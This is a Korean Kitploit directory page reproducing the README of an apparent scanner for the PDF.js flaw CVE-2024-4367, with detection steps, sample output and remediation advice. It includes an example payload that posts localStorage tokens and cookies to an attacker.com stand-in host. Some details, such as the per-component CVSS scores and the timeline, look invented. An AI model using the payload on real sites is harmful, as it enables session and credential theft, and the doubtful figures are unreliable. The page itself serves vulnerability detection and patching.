Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
pdf.js-CVE-2024-4367 — SCAN END POC THE CVE-2024-4367 | Kitploit
도구/GitHubGitHub/veronimo669/pdf.js-cve-2024-4367
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPenetration TestingPapers & ResearchLearning & Education
GitHubveronimo669/pdf.js-cve-2024-4367

pdf.js-CVE-2024-4367

SCAN END POC THE CVE-2024-4367

저장소 보기
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🚨 CVE-2024-4367 - 범용 PDF.js 취약점 스캐너

⚠️ 중요 보안 도구 | CVE-2024-4367(CVSS 9.8) - PDF.js 원격 코드 실행(RCE) 취약점 탐지

Version CVSS CVE License

모든 웹사이트에서 작동 - 별도 설정 불필요


📋 목차

  • 📖 개요
  • ⚡ 빠른 시작
  • 🔍 탐지 기능
  • 🛠️ 작동 방식
  • 📊 출력 예시
  • 🔒 해결 가이드
  • 🎯 공격 벡터
  • 🧪 테스트 지침
  • 📝 기술 세부사항
  • ⚠️ 법적 고지
  • 📚 참고 자료

📖 개요

CVE-2024-4367은 PDF.js(4.2.67 미만 버전)의 치명적인 취약점으로, 악성 PDF 파일을 통해 임의 JavaScript 실행을 허용합니다. 이 스캐너는 모든 웹사이트에서 취약한 PDF.js 인스턴스를 자동으로 탐지합니다.

이 스캐너가 다른 점

  • ✅ 설정 불필요 - 모든 웹사이트에서 즉시 작동
  • ✅ 범용 탐지 - 모든 JavaScript 번들 스캔
  • ✅ 의존성 없음 - 순수 JavaScript
  • ✅ PoC(개념 증명) - 테스트 PDF 생성
  • ✅ 실행 가능한 결과 - 명확한 해결 단계 제시

취약점 정보

PDF.js에는 PDF 파일에 포함된 JavaScript가 적절한 샌드박싱 없이 실행되는 결함이 있어, 공격자가 다음을 수행할 수 있습니다:

  • 🏴‍☠️ localStorage/sessionStorage에서 인증 토큰 탈취
  • 🍪 세션 쿠키 유출
  • 📁 로컬 파일 접근 (Electron/데스크톱 앱 사용 시)
  • 🔐 탈취한 자격 증명을 사용해 피해자로 위장한 작업 수행
  • 🌐 XSS를 통한 내부 네트워크 침투(피벗)

⚡ 빠른 시작

방법 1: 브라우저 콘솔 (가장 간편함)

  1. 대상 웹사이트를 엽니다
  2. F12를 눌러 DevTools를 엽니다
  3. 콘솔(Console) 탭으로 이동합니다
  4. 스캐너 스크립트 전체를 붙여넣습니다
  5. Enter를 누릅니다
  6. 화면에서 시각적 결과를 확인합니다!

방법 2: 북마클릿(Bookmarklet)

이 URL로 북마크를 생성합니다:

root@kitploit:~
javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();

방법 3: 직접 다운로드

root@kitploit:~
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Open any website and run the script

🔍 탐지 기능

1단계: JavaScript 번들 스캔

  • ✅ PDF.js 버전 탐지
  • ✅ 취약한 버전 식별 (< 4.2.67)
  • ✅ package.json 참조
  • ✅ node_modules 경로

2단계: PDF 뷰어 식별

  • ✅ `` PDF 뷰어
  • ✅ <embed> 요소
  • ✅ <object> 데이터 태그
  • ✅ 사용자 지정 PDF 뷰어 컨테이너
  • ✅ 캔버스(Canvas) 기반 렌더러

3단계: 공격 벡터

  • ✅ URL 매개변수 (?pdf=, ?file=, ?src=)
  • ✅ PDF 업로드 양식
  • ✅ .pdf를 허용하는 파일 입력 필드
  • ✅ PDF 경로가 포함된 API 엔드포인트

4단계: 시각적 표시

  • ✅ 실시간 취약점 상태
  • ✅ 다운로드 가능한 PoC PDF
  • ✅ 실시간 DOM 오버레이

🛠️ 작동 방식

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│                    SCAN PROCESS FLOW                        │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. 📚 LOAD SCRIPTS                                         │
│     ├─ External scripts (all <script src="">)              │
│     └─ Inline scripts (all <script> tags)                  │
│                                                             │
│  2. 🔍 EXTRACT PDF.JS VERSION                               │
│     ├─ Pattern matching in code                             │
│     ├─ Package.json detection                               │
│     └─ Node_modules path parsing                            │
│                                                             │
│  3. 🎯 IDENTIFY VULNERABILITY                               │
│     ├─ version < 4.2.67 ? → VULNERABLE                     │
│     └─ version = 2.16.105 ? → VULNERABLE                   │
│                                                             │
│  4. 🖼️ LOCATE VIEWERS                                       │
│     ├─ DOM element scanning                                 │
│     └─ Attribute detection                                 │
│                                                             │
│  5. ⚡ GENERATE POC                                         │
│     ├─ Create test PDF                                      │
│     └─ Provide download link                                │
│                                                             │
│  6. 📊 DISPLAY RESULTS                                      │
│     ├─ Visual overlay                                       │
│     ├─ Console report                                       │
│     └─ Global variable storage                              │
│                                                             │
└─────────────────────────────────────────────────────────────┘

📊 출력 예시

콘솔 출력

root@kitploit:~
╔═══════════════════════════════════════════════════════════════════════════════════╗
║                    CVE-2024-4367 - UNIVERSAL PDF.js SCANNER                         ║
║              Detects vulnerable PDF.js versions and potential exploitation         ║
╚═══════════════════════════════════════════════════════════════════════════════════╝

📚 PHASE 1: Scanning JavaScript Bundles for PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] Found 42 external scripts
[+] Found 12 inline scripts
   [1/42] Analyzing: vendor.bundle.js
      → PDF.js indicator found: pdfjs-dist
      ✅ PDF.js version found: 2.16.105
      🚨 VULNERABLE to CVE-2024-4367!

🎯 PHASE 4: Identifying Exploitation Vectors
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   ⚠️ URL parameter accepts PDF: file=/documents/report.pdf
   ⚠️ PDF upload form found

█████████████████████████████████████████████████████████████████████████████████
                          FINAL SCAN REPORT
█████████████████████████████████████████████████████████████████████████████████

🚨 CRITICAL VULNERABILITY CONFIRMED!
   CVE: CVE-2024-4367
   CVSS: 9.8 (CRITICAL)
   Impact: Arbitrary JavaScript Execution

시각적 오버레이

Scanner Overlay

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  CVE-2024-4367 SCAN RESULTS                                │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  📍 Target: example.com                                    │
│  📦 PDF.js: 2.16.105                                       │
│  🎯 Vulnerable: YES                                        │
│  📄 Viewers: 3                                             │
│  ⚡ Vectors: 2                                             │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  🔴 CRITICAL - Upgrade Required                            │
└─────────────────────────────────────────────────────────────┘

🔒 해결 가이드

즉시 조치

1. PDF.js 업그레이드 (권장)

root@kitploit:~
# For Node.js projects
npm install pdfjs-dist@latest

# For CDN usage
# Update to version 4.2.67 or higher

2. JavaScript 실행 비활성화

root@kitploit:~
// Set this before loading PDF.js
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;

3. 콘텐츠 보안 정책(CSP)

root@kitploit:~
Content-Security-Policy: script-src 'self'; 
                        object-src 'none'; 
                        worker-src 'none'

4. 입력 검증

root@kitploit:~
// Validate PDF files before rendering
function validatePDF(file) {
    // Check magic bytes
    const header = file.slice(0, 5);
    if (header !== '%PDF-') {
        throw new Error('Invalid PDF file');
    }
    
    // Scan for JavaScript
    const text = file.toString();
    if (text.includes('/JavaScript') || 
        text.includes('/JS') ||
        text.includes('<< /S /JavaScript >>')) {
        throw new Error('PDF contains JavaScript');
    }
}

장기적 해결 방안


🎯 공격 벡터

탐지되는 일반적인 공격 벡터

  1. URL 매개변수

    root@kitploit:~
    /viewer?file=malicious.pdf
    /download?pdf=malicious.pdf
    
  2. 파일 업로드

    root@kitploit:~
    <input type="file" accept=".pdf">
    
  3. 삽입형 뷰어

    root@kitploit:~
    
    <embed src="malicious.pdf">
    
  4. API 엔드포인트

    root@kitploit:~
    /api/documents/123/download
    /api/report/pdf
    

악성 페이로드 예시

root@kitploit:~
// PDF embedded JavaScript
this.alert('CVE-2024-4367 Exploited!');
fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
        token: localStorage.getItem('token'),
        cookies: document.cookie
    })
});

🧪 테스트 지침

단계별 테스트

  1. 스캐너 설치

    root@kitploit:~
    git clone https://github.com/yourusername/CVE-2024-4367-Scanner
    
  2. 스캐너 실행

    root@kitploit:~
    # Open the target website
    # Paste the scanner in console
    # Or use the bookmarklet
    
  3. 결과 분석

    • "VULNERABLE" 상태 확인
    • PDF.js 버전 기록
    • 공격 벡터 확인
  4. PoC PDF 다운로드 (취약한 경우)

    • 다운로드 버튼 클릭
    • PDF 업로드/열기
    • JavaScript 실행 관찰
  5. 수정 사항 적용

    • PDF.js 업그레이드
    • CSP 구현
    • 입력 검증

예상 결과

시나리오결과
PDF.js 2.16.105🔴 치명적
PDF.js 3.x🔴 취약
PDF.js 4.0.x🔴 취약
PDF.js 4.2.67+✅ 안전
PDF.js 없음

📝 기술 세부사항

버전 확인

root@kitploit:~
// Vulnerable versions
const VULNERABLE_VERSIONS = [
    { version: '2.16.105', status: 'CRITICAL' },
    { version: '3.x.x', status: 'CRITICAL' },
    { version: '4.0.x - 4.2.66', status: 'CRITICAL' }
];

// Safe version
const SAFE_VERSION = '4.2.67';

취약점 타임라인

날짜이벤트
2024-04-23취약점 발견
2024-04-24CVE-2024-4367 지정
2024-04-25패치 배포 (4.2.67)
2024-04-26취약점 공개

CVSS 점수 세부 내역


⚠️ 법적 고지

중요: 이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다.

  • ✅ 할 것: 본인 소유의 웹사이트에 사용
  • ✅ 할 것: 명시적 허가를 받은 경우에만 사용
  • ✅ 할 것: 보안 연구 목적으로 사용
  • ❌ 금지: 승인되지 않은 시스템에 사용
  • ❌ 금지: 악의적인 목적으로 사용

저자는 이 도구로 인한 오용 또는 피해에 대해 책임을 지지 않습니다.


📚 참고 자료

공식 자료

  • CVE-2024-4367 - NIST NVD
  • PDF.js 보안 권고
  • Mozilla 보안 블로그

관련 취약점

  • CVE-2024-4367 - PDF.js RCE
  • CVE-2023-xxxx - 이전 PDF.js 문제
  • 웹 애플리케이션의 PDF.js를 통한 XSS

도구 및 리소스

  • PDF.js 공식 저장소
  • OWASP XSS 방지
  • CSP 참조

연구 논문

  • PDF.js 보안 분석
  • 클라이언트측 PDF 렌더링 위험

🤝 기여하기

기여를 환영합니다! 다음을 따라주세요:

  1. 저장소를 포크(Fork)합니다
  2. 기능 브랜치를 생성합니다
  3. 풀 리퀘스트(Pull Request)를 제출합니다
  4. 코드 스타일을 준수합니다

개발 환경 설정

root@kitploit:~
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Make your changes
# Test on multiple websites
# Submit PR

📄 라이선스

이 프로젝트는 MIT 라이선스로 배포됩니다 - 자세한 내용은 LICENSE 파일을 참조하세요.


🌟 지원

이 도구가 유용하다고 생각되면:

  • ⭐ 저장소에 스타(Star)를 남겨주세요
  • 🐛 이슈를 보고해주세요
  • 📝 문서를 작성해주세요
  • 🔧 수정 사항을 제출해주세요

🛡️ 안전을 유지하세요. 조기에 테스트하고, 자주 테스트하세요.

보안 커뮤니티가 ❤️로 만들었습니다

이슈 보고 • GitHub에서 스타 표시 • 문서 읽기

도구 다운로드
해결 방법난이도효과
PDF.js 업그레이드쉬움✅ 완전한 해결
PDF.js에서 JS 비활성화쉬움✅ 완전한 해결
CSP 구현보통✅ 양호
서버측 검증보통✅ 양호
샌드박스 렌더링어려움✅ 탁월
ℹ️ 안전
2024-05-01
악용 시도 관찰
구성 요소점수
공격 벡터네트워크 (9.8)
공격 복잡도낮음 (9.8)
요구 권한없음 (9.8)
사용자 상호작용필요 (8.8)
범위변경됨 (9.1)
기밀성높음 (9.8)
무결성높음 (9.8)
가용성높음 (9.8)
종합9.8 (치명적)